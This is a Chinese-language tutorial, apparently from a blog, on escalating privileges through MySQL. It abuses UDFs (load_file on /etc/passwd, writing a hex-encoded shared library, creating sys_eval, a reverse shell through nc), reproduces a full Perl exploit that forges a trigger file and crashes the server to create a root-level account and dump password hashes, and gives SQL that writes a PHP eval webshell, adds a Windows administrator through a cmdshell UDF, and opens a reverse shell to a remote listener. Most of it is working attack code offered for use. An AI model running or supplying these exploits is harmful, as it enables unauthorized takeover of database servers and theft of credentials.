Mysql数据库提权常用的安全问题介绍
一、UDF的安全问题利用
譬如, 执行一条sql语句查看/etc/passwd文件的内容:
这里主要是用到了load_file()函数,当然这个函数是可以被禁用的。以上可以轻松看到/etc/passwd文件的信息和ip地址,当然其他的文件内容都可以被看到。
由于load_file()函数只能实现类似系统命令cat的查看文件功能,但是想执行系统命令的功能,那么只能用UDF了,也就是User defined Function,用户定义函数。
查看mysql的plugin,plugin_dir的路径为/usr/lib/mysql/plugin
如果像我遇到这个数据库服务器一样,plugin_dir的路径为空也无所谓了。
执行以下sql语句,把udf.txt里面的十六进制的文件内容导出到/usr/lib/mysqludf.so
查看下这个udf库所支持的函数
创建函数并且查看是否创建成功,可以看到一个名叫sys_eval的UDF创建成功了。
最后利用UDF执行更高权限的功能
剩下的就用这个UDF获得系统权限吧,提示可以用nc反弹,在自己的主机上执行nc -vv -l -p 12345,在数据库上执行一下sql语句
就可以成功反弹出linux shell了,再往下就。不过UDF的利用也有局限性,需要有mysql库的操作权限,在mysql库下必须有func表;在skipgranttables开启的情况下,UDF会被禁止。
PS:mysqludf.so是我已有的一个库文件,利用它生成了udf.txt,执行以下sql语句即可
代码如下 | |
mysql> select hex(load_file('/usr/lib/mysqludf.so')) into outfile '/tmp/udf.txt'; |
二、root权限提权小结
漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。
代码如下 | |
use DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on www.2cto.com * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG * Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun) * INSERT a value into the table so the trigger event gets executed * The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled. * Crash the MySQL Server again to force it reload the user configuration * Create a new mysql user with all privileges set to enabled * Crash again to reload configuration * Connect by using the newly created user * The new connection has ADMIN access now to all databases in mysql * The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded * As said the user has FULL ACCESS to the database now Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen. =cut =for comment user created for testing (file privs will minor privileges to only one database): mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test'; Query OK, 0 rows affected (0.00 sec) mysql> create database lessdb -> ; Query OK, 1 row affected (0.00 sec) mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION; Query OK, 0 rows affected (0.02 sec) mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION; Query OK, 0 rows affected (0.00 sec) login with new unprivileged user: mysql> select * from mysql.user; ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user' =cut =for comment example attack output: C:UserskingcopeDesktop>perl mysql_privilege_elevation.pl select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER MINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger atk after ins ert on rootme for each row\nbegin \nUPDATE mysql.user SET Select_priv=\'Y\ ', Insert_priv=\'Y\', Update_priv=\'Y\', Delete_priv=\'Y\', Create_p riv=\'Y\', Drop_priv=\'Y\', Reload_priv=\'Y\', Shutdown_priv=\'Y\ ', Process_priv=\'Y\', File_priv=\'Y\', Grant_priv=\'Y\', Reference s_priv=\'Y\', Index_priv=\'Y\', Alter_priv=\'Y\', Show_db_priv=\'Y \', Super_priv=\'Y\', Create_tmp_table_priv=\'Y\', Lock_tables_priv=\ 'Y\', Execute_priv=\'Y\', Repl_slave_priv=\'Y\', Repl_client_priv=\ 'Y\', Create_view_priv=\'Y\', Show_view_priv=\'Y\', Create_routine_pri v=\'Y\', Alter_routine_priv=\'Y\', Create_user_priv=\'Y\', ssl_type= \'Y\', ssl_cipher=\'Y\', x509_issuer=\'Y\', x509_subject=\'Y\', max_questions=\'Y\', max_updates=\'Y\', max_connections=\'Y\' WHERE User=\'less3\';\nend'nsql_modes=0ndefiners='root@localhost'nclient_cs _names='latin1'nconnection_cl_names='latin1_swedish_ci'ndb_cl_names='lati n1_swedish_ci'n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri vilege_elevation.pl line 44. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ privilege_elevation.pl line 50. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ privilege_elevation.pl line 59. W00TW00T! Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64 B02C Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697 Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7 Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC =cut $user = "less10"; $password = "test"; $database = "lessdb10"; $target = "192.168.2.4"; $folder = "/var/lib/mysql/"; # Linux $newuser = "rootedbox2"; $newuserpass = "rootedbox2"; $mysql_version = "51"; # can be 51 or 50 if ($mysql_version eq "50") { $inject = "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_priv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', References_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_priv=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type=\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'$user\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';"; } else { $inject = "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_priv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', References_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_priv=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', Event_priv=\\\'Y\\\', Trigger_priv=\\\'Y\\\', ssl_type=\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'$user\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';"; } print $inject;#exit; $inject2 = "SELECT 'TYPE=TRIGGERNAME\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''"; my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); eval { $dbh->do("DROP TABLE rootme") }; $dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));"); $dbh->do($inject); $dbh->do($inject2); $a = "A" x 10000; $dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); $dbh->do("INSERT INTO rootme VALUES('ROOTED');"); $dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", "$user", "$password", {'RaiseError' => 0}); $dbh->do("CREATE USER '$newuser'@'%' IDENTIFIED BY '$newuserpass';"); $dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'@'%' WITH GRANT OPTION;"); $dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';"); sleep(3); my $dbh = DBI->connect("DBI:mysql:host=$target;", $newuser, $newuserpass, {'RaiseError' => 0}); my $sth = $dbh->prepare("SELECT * FROM mysql.user"); $sth->execute(); print "W00TW00T!n"; while (my $ref = $sth->fetchrow_hashref()) { print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}n"; } $sth->finish(); |
三、远程数据库提权漏洞
由于5.1以上版本,规定了加载自定义的dll的路径必须要在plugin下,但是默认情况下这个文件夹并不存在
#1 phpmyadmin 后台得获得WebShell的方法
http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径
--------------------------------------------------------------------------------------
create database tempdb;
use tempdb
create TABLE tb_temp (cmd text NOT NULL);
Insert INTO tb_temp (cmd) VALUES('<?php eval($_POST[c]);?>');
select cmd from tb_temp into outfile 'D:\webdir\eval.php';
drop TABLE IF exists tb_temp;
drop database tempdb;
-------------------------------------------------------------------------------------
#2 获取Mysql数据库root密码后可测试导出udf.dll提权
首先上传个udf.dll.php填写相关的参数后导出udf.dll到C:windowsudf.dll
然后执行以下命令
-----------------------------------------------------------------------------------
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user admin$ 123456 /add');
select cmdshell('net localgroup administrators admin$ /add');
drop function cmdshell;
------------------------------------------------------------------------------------
不过这个过程中常出问题的就是udf.dll被杀,哈哈哈.....
#3 通常最后会尝试使用Func反弹来获取CmdShell
然而总是失败,其原因在于:Mix.dll解压出来路径默认是WebShell的路径
一般情况下Mysql是不允许从任意目录加载函数库.呵呵,可以来验证下我的说法.
1.使用Webshell的Mysql链接功能登入root
2.执行create function Mixconnect returns string soname 'D:\webdir\Mix.dll';
3.执行select Mixconnect('ip_addr','9999');
若能成功的话,在本地使用nc -vv -l -p 9999便可反弹回个System权限的CmdSell
然二步时便会报错Error“No paths allowed for shared library”
这便说明了Mysql不允许从任意目录加载函数库.解决的方法也是很简单的可以使用Mysql
将处于Webshell路径下的Mix.dll拷贝到C:\Windows\Mix.dll
实现方法如下:
---------------------------------------------------------------------------------------
create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\webdir\Mix.dll'));
select * from temp_mix into dumpfile 'C:\Windows\Mix.dll';
create function Mixconnect returns string soname 'Mix.dll';
select Mixconnect('ip_addr','9999');
drop table if exists temp_mix;
------------------------------------------------------------------------------------------
PS:若发现Can't connect to MySQL server on 'localhost' (10061)说明mysql可能假死或者挂了,
若Mysql挂了,管理员会很快发现的额....因而此招慎用.
总之不管如何做安全我们都必须及时更新系统或软件的最新版本及bug升级才能做到安全,同时对数据库数据进行定期或实时备份。